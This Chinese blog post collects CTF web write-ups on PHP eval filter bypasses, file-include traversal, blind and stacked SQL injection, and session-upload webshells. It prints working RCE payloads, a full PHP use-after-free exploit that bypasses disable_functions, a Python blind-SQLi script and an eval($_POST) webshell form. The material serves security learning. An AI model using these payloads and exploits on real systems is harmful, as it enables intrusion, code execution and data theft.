ctf刷题小结

  • Post author:
  • Post category:其他




前言

文章同步于我的个人博客,欢迎大家访问

http://www.quan9i.top/



[CISCN 2019 初赛]Love Math 1

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里的话可以看出设置了黑名单和白名单,我们只能用白名单来构造语句,而且需要绕过黑名单,

然后这里有个正则,看起来真的很复杂,了解过后发现其实在此所说的字母是 a-z,A-Z,以及 ASCII 字符从 127 到 255(0x7f-0xff)。这道题的话明显是rce,这里给了一个常用数学函数,对应的是白名单里的,我们去学习一下

在这里插入图片描述

发现有个很强大的函数,

base_convert()

,它可以在任意进制之间转换数字,我们这里的话是没办法直接输出字符串的,但是我们知道php中存在一个函数

hex2bin

,它可以将hex值转换成对应的字符串,那我们这里的话是不是就可以用

base_convert()

来构造出一个

hex2bin

,然后再在里面输入内容呢,我们首先来测试一下这个hex2bin能否构造出来,怎么构造呢,就是将字符串以36进制转换为10进制然后再用函数复原过来

,构造payload如下(当然也可以32,33,34进制转换)

?c=base_convert(37907361743,10,36);

在这里插入图片描述

可以发现能够转换,我们这时候就有hex2bin了,然后就可以写入我们的字符串了,

dechex()

可以将十进制转换成十六进制,这时候我们想要尝试直接构造

system("ls")

转换成十六进制再转换为十进制发现不对

在这里插入图片描述
这个东西总是换着换着就少了一部分,那这里的话我们换种思想,不直接使用了,我们可以利用参数外带,即构造

$_GET[1]

这种,然后再对它进行引用,分开构造,我们先构造一个_GET

c=base_convert(37907361743,10,36)(dechex(1598506324));

在这里插入图片描述

此时是构造出来了啊,如果我们想利用的话,该怎么对它进行利用呢,因为此时它只是一个字符串,我们这时候进行本地测试

<?php
show_source(__FILE__);
$a='_GET';
eval($a{1});
?>

这时候执行的话报错,这是为啥呢,因为我们的



a

G

E

T

e

v

a

l

(

G

E

T

[

1

]

)

a是`_GET`,这里的话就是`eval(_GET[1])`,正确的应该是还有美元符号`






a

















G


















E


T





























e


v


a


l



(










G


















E


T


[


1


]


)


















































`的,所以我们再次构造

<?php
show_source(__FILE__);
$a='_GET';
$b=($$a);
eval($b{1});
?>

在这里插入图片描述

这里的话基本思路也就有了,我们给之前的

_GET

赋一个变量名a,在之前构造的语句下加上

$$a{1}

再对1赋值就可以了,大致语句就是

c=$a=base_convert(37907361743,10,36)(dechex(1598506324));($$a{1})($$a{2})&1=system&2=ls

但是呢,由于它设置了白名单,我们这里就需要借用他们白名单里的函数作为名字来绕过了,我们给变量名赋值为pi(pi是白名单里的),也就是

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{1})($$pi{2})&1=system&2=ls

之所以这里的1,2不用是白名单里的是因为这里

 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {

经过正则后取出的是

$used_funcs[0]

,取出的是函数名,而未对里面的参数进行检验,此时用1,2就进行rce,构造最终payload如下

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{1})($$pi{2})&1=system&2=tac /f*

在这里插入图片描述



Mercy-code(2022ichunqiu签到)

在这里插入图片描述

又是一次只做了个签到题,不过也学习了一些知识,收获了一个无参数rce的姿势,这里的话就步入正题,讲解一下i春秋杯的签到题

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}

这里的话我们会发现这个首先是有个正则匹配啊,这个要求的是cmd里的参数经过过滤后只有

;

才往下执行,我看的话这个是过滤了a-Z和下划线啊,这个(?R)?我看着像是那种贪婪匹配,但是外面还是有一个括号,此时我是不懂它是什么意思的,然后就借用一句师傅的话,遇事不决,本地测试即可,此时我们开始进行本地测试

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    $b=preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd);
    echo "$b";
}
else{
    echo "fail";
}

首先输入分号

在这里插入图片描述

此时是分号,再整个phpinfo()试试

在这里插入图片描述

此时就有趣了,因为你发现phpinfo()这个玩意经过过滤后还是分号,前面的phpinfo属于是

[a-z_]

里的,那这个()应该就是

((?R)?)

过滤的,也就是说这里要求的格式是

字母+括号

这种形式,我们可以删去括号进行验证

在这里插入图片描述

此时就得到了注入方式,我们就用此来进行注入,此时因为phpinfo()被ban,我们随便输入数字

在这里插入图片描述

发现第一个过滤没过去,这里多次测试后得知括号内不能附带参数,因此我们这里只能选用进行无参数的rce,也就是用多种函数来获取目录,读取的那种,而常见的那个

show_source(array_rand(array_flip(scandir(current(localeconv())))));

这种形式获取目录下某个文件的,在这里没办法使用,因为array以及

localeconv

还有

current

都被ban了,但出题必有可以解的办法,在网上查阅无参数rce后,找到了这个文章

https://xz.aliyun.com/t/6737


这里面就出现了一种新姿势,我来先简单介绍一下利用的函数

uniqid():uniqid — 生成一个唯一ID
strrev(): 反转字符串
chr():返回相对应于 ascii 所指定的单个字符。 
scandir():列出指定路径中的文件和目录
implode(): 将一个一维数组的值转化为字符串

uniqid()函数能够生成动态的字符串,但是他前半部分是固定不变的,但是后半部分是动态变化的,此时我们就可以利用strrev函数来进行反转,这样就可以随机输出,但是此时它是id,也就是说此时它是数字,因此我们这里需要给它转换成字符串类型的,也就是用chr来进行转换,但此时是个数组,如果直接输出只会返回一个Array,因此我们这里需要用explode将数组转换成一串字符串,此时的话如果随机生成的是点

.

,此时我们再用scandir函数包含这个,我们就可以查看当前目录下的文件了,但是此时它是eval的,eval它肯定是没回显的,我们还需要一个echo函数来进行回显,思路大致就是这样,然后我们需要验证一下这种思路是否可行,首先就要判断一下它是否可以输出.,利用php脚本来进行验证

<?php
error_reporting(0);
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>

在这里插入图片描述

发现可以输出点,此时就可以拿到环境里,构造如下payload

cmd=echo(implode(scandir(chr(strrev(uniqid())))));

先在环境里进行尝试

在这里插入图片描述

可以发现这种没啥问题,只是随机生成的现在不是.,没法查看,我们

抓包用bp进行爆破尝试

在这里插入图片描述

发现flag文件,在当前目录下的第二个,由于没法在里面附带参数,因此我们这里可以选择用end()函数来让指针指向最后一个文件,再用show_source进行回显即可,我们先进行本地测试看这种思路是否可行

<?php
highlight_file(__FILE__);
eval("echo(show_source(end(scandir('.'))));");
?>

在这里插入图片描述

可以看出确实可以执行出来,因此我们此时构造如下payload

cmd=echo(show_source(end(scandir(chr(strrev(uniqid()))))));

抓包添加变量

在这里插入图片描述

设置如下

在这里插入图片描述

开始攻击,点击length(将长度由小到大排列)

在这里插入图片描述

得到flag,解题完成



WEB_ezeval

代码如下

<?php 
highlight_file(__FILE__);
$cmd=$_POST['a'];
if(strlen($cmd) > 25){
    die();
}else{
    eval($cmd);
}

首先这个题的话可以看见是

在这里插入图片描述



<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);
?>

这道的话首先可以看到过滤了很多,然后我们看见这个

htmlspecialchars

不知道是什么意思,搜了一下是将内容转换成html实体的意思,这里我们会发现有点不理解啊,这里得到大佬的指点,遇事不决本地测试

我们把代码放到本地

<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
echo($cmd);
?>

执行后随便传个参数试试

cmd=phpinfo()

在这里插入图片描述

可以发现这里传入的参数是对我们没有影响的,因此我们这里的话不看这句话其实就可以了

然后我们来想绕过的方法,php内置有这个base64解码函数,但是

decode

被过滤了,因此什么url编码,那些解码函数涉及decode的通通没戏,这时候发现php有一个函数,简单介绍一下

hex2bin():把十六进制值转换为 ASCII 字符

因此我们这里的话就可以对代码进行十六进制编码,再进行用这个函数给转换过滤,我们先整个phpinfo()本地尝试一下

在这里插入图片描述

确实是这样,但是这样执行的时候,eval里的phpinfo()就只是一堆字符串,eval对于字符串会返回NULL,所以也就会出现无回显的情况

此时我们在靶场中进行测试

在这里插入图片描述

没有报错,说明这里应该是检测出来是字符串phpinfo()了,那我们这里如果传入个system,再在后面附加语句,不就实现了我们的rce

在这里插入图片描述

因此我们构造payload如下

cmd=hex2bin('73797374656d')('ls /');
cmd=hex2bin('73797374656d')('cat /flag');

在这里插入图片描述



其他姿势

这道题没对这个括号和.进行过滤,那我们就可以进行拼接,构造如下payload即可(自下往上翻目录)

cmd=('s'.'y'.'s'.'t'.'e'.'m')('ls ../../../');

在这里插入图片描述

找到flag,此时查看即可

cmd=('s'.'y'.'s'.'t'.'e'.'m')('tac /flag');

在这里插入图片描述



WEB_ezphp

<?php 
highlight_file(__FILE__);
$cmd=$_POST['a'];
if(strlen($cmd) > 25){
    die();
}else{
    eval($cmd);
}

可以看出来它post传了个a,然后限制了变量长度,我们先输入个phpinfo()看看

在这里插入图片描述

可以看见这里禁用了很多函数,system,exec等等都给过滤了,我们尝试蚁剑连接来查找flag

在这里插入图片描述

在根目录下找到flag,但是却是乱码

在这里插入图片描述

这里的话我们可以用蚁剑的脚本来进行尝试,但是却无法执行出来

在这里插入图片描述

此时不满足条件,因此需要来借用其他师傅构造的exp来进行

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

由于tmp具有可读写功能,因此我们上传到tmp目录下

在这里插入图片描述
此时去包含这个文件(exp.php默认是读取php版本信息)

在这里插入图片描述

此时修改脚本为读取readflag

在这里插入图片描述

此时再包含这个文件

在这里插入图片描述

出现flag,解题成功

这里的话get到了当出现禁用函数时,绕过的思路可以考虑使用蚁剑脚本,和其他师傅的exp,当然绕过禁用函数是有很多办法的,大家可以看这几篇文章

参考文章


https://zhuanlan.zhihu.com/p/77162294



https://www.anquanke.com/post/id/197745



hctf_2018_warmup

在这里插入图片描述

有注释,访问php文件

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

代码审计

见过几次,在这里先对部分函数进行介绍

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_strpos (haystack ,needle )
参数:
haystack:要被检查的字符串。
needle:要搜索的字符串。

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的
中文文字则需要使用 mb_substr()。

substr() 函数返回字符串的一部分。
substr(string,start,length)
参数	描述
string	必需。规定要返回其中一部分的字符串。
start	
必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾开始的指定位置开始
0 - 在字符串中的第一个字符处开始
length	
可选。规定被返回字符串的长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回的长度
负数 - 从字符串末端返回的长度

因此在这里的话

 $_page = mb_substr($_page,  0, mb_strpos($_page . '?', '?') );

它就是截取

$page?





前面的部分

然后与白名单进行检验,我们对于这个检验,只需要保证最后一步执行结果为true就可以了,因为后一个执行结果会覆盖前面的,所以最后一个为true时,也会覆盖前面的

然后我们看这里的话它有个

$_page = urldecode($page);

,也就是进行了一次解码,而get传参自动是url解码一次的,因此我们到这里想要输出?,那么我们就需要给他url编码两次,然后白名单检验想要通过,那肯定就需要借助

source.php

或者

hint.php


此时我们构造出语句

?file=hint.php%253f../../../../../flaaagg
//然后再进行二次url编码
?file=hint.php%253f..%2f..%2f..%2f..%2f..%2fflaaagg

语句的flaaagg来源于hint.php

在这里插入图片描述

我们在做的过程中可以进行本地测试来做出这道题,测试代码如下

<?php
show_source(__FILE__);
include($_GET['a']);
?>

这里的话我们首先进行一次加密包含

在这里插入图片描述

这时候它语句里却变成问号了,这就是上文中说的get传的值会经过一次url解码,因此我们这里的话就无法实现绕过包含了,有?时无法进行目录穿越,所以我们就再url编码一次

在这里插入图片描述

此时也就执行成功了,做题的思路也就是这样子



finalsql

进入靶场,试试单引号注入

在这里插入图片描述

在这里插入图片描述

而后发现这里输入的都是这个回显,说明这里不是可注入点,我们选择上方的神秘代码的时候,发现每个都是id进行了变化

在这里插入图片描述

这个id会不会可以注入呢,我们来测试

在这里插入图片描述

此时发现还是同上,但我们会发现这个它等于0和等于1是两种不同的回显

在这里插入图片描述

fuzz后,发现大致过滤了这些

and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
 
 '
 "
 \
 ^
 &&
 uniOn/**/select

因此我们这里的话可以利用回显0和1来判断语句执行的是否争取,我们用截取首位字母来进行判断,然后正确时返回1,此时采取异或无疑是较为方便的一种方法

1^1=0
0^1=1
1^1^1=1

我们构造payload如下进行尝试

id=1^(substr(database(),1,1)='g')^1

在这里插入图片描述

确实是id=1时的,因此说明可以注入,我们构造脚本来进行

本来想采用枚举法的,不过因为这里涉及大写字母,所以用它不太方便,而且二分法更快,这里用二分法的脚本即可

import time
import requests

url = "http://38f641b9-0a8f-4734-96f8-8b58057fa16d.node4.buuoj.cn:81/search.php?id="

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = '(ascii(substr(database(),%d,1))>%d)' % (i, mid)
        # payload = f'(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{i},1))>{mid})'
        #payload = f'(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})'
        r = requests.get(url + payload)
        # print(r.text)
        time.sleep(0.1)
        if "Click" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)



EasyCleanup

进入靶场,对代码进行审计

<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
?>

这里的话首先可以看见这个语句中出现了两个?

$shell = $_GET['shell'] ?? 'phpinfo();';

这里的话百度了一下,它是这解释的

$a??$b

$a条件成立如果为0或者false均被视为条件不成立,则直接返回$a的结果,不成立,则返回$b。

,因此这里的话就是如果不给shell变量执行结果为0,就返回phpinfo(),

这个前面整体语句的意思此时就可以理解了,就是当传入mode变量且值是eval的时候,才往下执行,然后此时需要传入变量shell,不传的话就输出phpinfo,传的话你需要不满足三个条件才能eval这个shell,也就是需要长度小于15,然后还不满足两个自定义函数

接下来我们简单分析一下这个

filter()

自定义函数,看里面可以看出来它是设置了一些黑名单,如果匹配到的话就返回true,因此我们这里需要绕过这些黑名单里的函数

再看

checkNums

自定义函数,这个函数是查出语句中出现的数字和字母的个数,如果超过八位就输出true,因此我们这里需要让语句的字母和数字小于等于8才行

所以这里的话,我们先用system查看一下目录吧

mode=eval&shell=system("ls /");

在这里插入图片描述

此时发现了flag,但是这里shell限制了字母和数字个数,无法再查看,因此我们这里的话就需要用到file那个整体的语句了,它的限制就少了个不限制字母数字个数,然后它是include变量的,此时因为禁用了

:,

所以LFI是不用想了,然后此时想到之前给了个phpinfo,看看里面的配置

在这里插入图片描述

此时发现session,想起来的话就是session有个session文件包含,我们可以传一个文件,然后控制cookie值为

PHPSESSID=xxx

来控制session文件名,然后利用

PHP_SESSION_UPLOAD_PROGRESS

将一句话木马或者其它语句传进去,因此这里的话我们构造一个上传文件的表单

<!DOCTYPE html>
<html>
<head>
	<title>hakaiisu</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://challenge-4062f8c3575bf5eb.sandbox.ctfhub.com:10800/" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST['cmd']); ?>" />
	    <input type="file" name="file" />
	    <input type="submit" value="go" />
	</form>
</body>
</html>

在这里插入图片描述

此时自己定义一下cookie值,就确定了文件的路径是

/tmp/sess_quan9i

,此时蚁剑连接即可getshell

在这里插入图片描述



强网杯 2019 随便注

在这里插入图片描述

打开靶场后,首先判断一下id包裹方式

在这里插入图片描述

判断出为单引号包裹,此时判断一下字段数

在这里插入图片描述

说明字段为2,此时尝试使用联合查询

在这里插入图片描述

发现联合查询被ban,此时我们无法使用联合查询进行注入,尝试使用堆叠注入,还有部分被过滤,select无法使用,我们可以使用show,进行爆库

构造如下payload

-1';show databases;#

执行结果如下

在这里插入图片描述
爆表

在这里插入图片描述

爆出列名

-1';show columns from `1919810931114514`;#

执行结果

在这里插入图片描述
show是无法查看字段的,因此我们这里的话就需要用到预编译语句或者handler了

,首先讲解一下这个handler

 mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够
 一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
 它是mysql专用的语句,并没有包含到SQL标准中。

它的基本用法的话就是

handler `表名` open;
handler `表名` read first(next);
handler `表名` close;

具体示例如下

mysql> handler `users` open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler `users` read first;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> handler `users` read next;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)

mysql> handler `users` close;
Query OK, 0 rows affected (0.00 sec)

所以这里的话我们就可以注入如下payload

1';handler `flagg` open; handler `flagg` read first;

在这里插入图片描述

还有一个预编译语句

预编译语句的优势为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。

预编译有两种方法,第一种是

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

本地测试如下

mysql> prepare aa from  'select * from users';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute aa;
+----+----------------------+------------+
| id | username             | password   |
+----+----------------------+------------+
|  1 | Dumb                 | Dumb       |
|  2 | Angelina             | I-kill-you |
|  3 | Dummy                | p@ssword   |
|  4 | secure               | crappy     |
|  5 | stupid               | stupidity  |
|  6 | superman             | genious    |
|  7 | batman               | mob!le     |
|  8 | admin                | 123        |
|  9 | admin1               | admin1     |
| 10 | admin2               | admin2     |
| 11 | admin3               | admin3     |
| 12 | dhakkan              | dumbo      |
| 14 | admin4               | admin4     |
| 15 | root                 | root       |
| 16 | admin'#              | 111        |
| 17 | 1' union select 1,2, | 123        |
| 88 | aaa                  | bbb        |
+----+----------------------+------------+
17 rows in set (0.00 sec)

第二种是

set是设置一个新列
prepare是进行定义一个语句
execute是执行
mysql> SET @tn = 'users';
Query OK, 0 rows affected (0.00 sec)

mysql> SET @sql = concat('select * from ', @tn);
Query OK, 0 rows affected (0.00 sec)

mysql> PREPARE name from @sql;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> EXECUTE name;
+----+----------------------+------------+
| id | username             | password   |
+----+----------------------+------------+
|  1 | Dumb                 | Dumb       |
|  2 | Angelina             | I-kill-you |
|  3 | Dummy                | p@ssword   |
|  4 | secure               | crappy     |
|  5 | stupid               | stupidity  |
|  6 | superman             | genious    |
|  7 | batman               | mob!le     |
|  8 | admin                | 123        |
|  9 | admin1               | admin1     |
| 10 | admin2               | admin2     |
| 11 | admin3               | admin3     |
| 12 | dhakkan              | dumbo      |
| 14 | admin4               | admin4     |
| 15 | root                 | root       |
| 16 | admin'#              | 111        |
| 17 | 1' union select 1,2, | 123        |
| 88 | aaa                  | bbb        |
+----+----------------------+------------+
17 rows in set (0.00 sec)

因此构造payload如下

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#

参考文章


https://blog.csdn.net/JesseYoung/article/details/40785137



[SWPU2019]Web1

注册账号,明显二次注入,检验过后发现过滤了or,用||代替,过滤空格,用/**/来代替,联合查询时猜测字段数发现过滤了orderby,手注发现为22个字段,同时过滤了information表,这里的话我们可以借助用innodb来进行,

爆列payload(无列名注入)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**b/**/,3/**/union/**/select/**/* from/**/users)x)#,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

爆字段

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'



版权声明:本文为Reme_mber原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。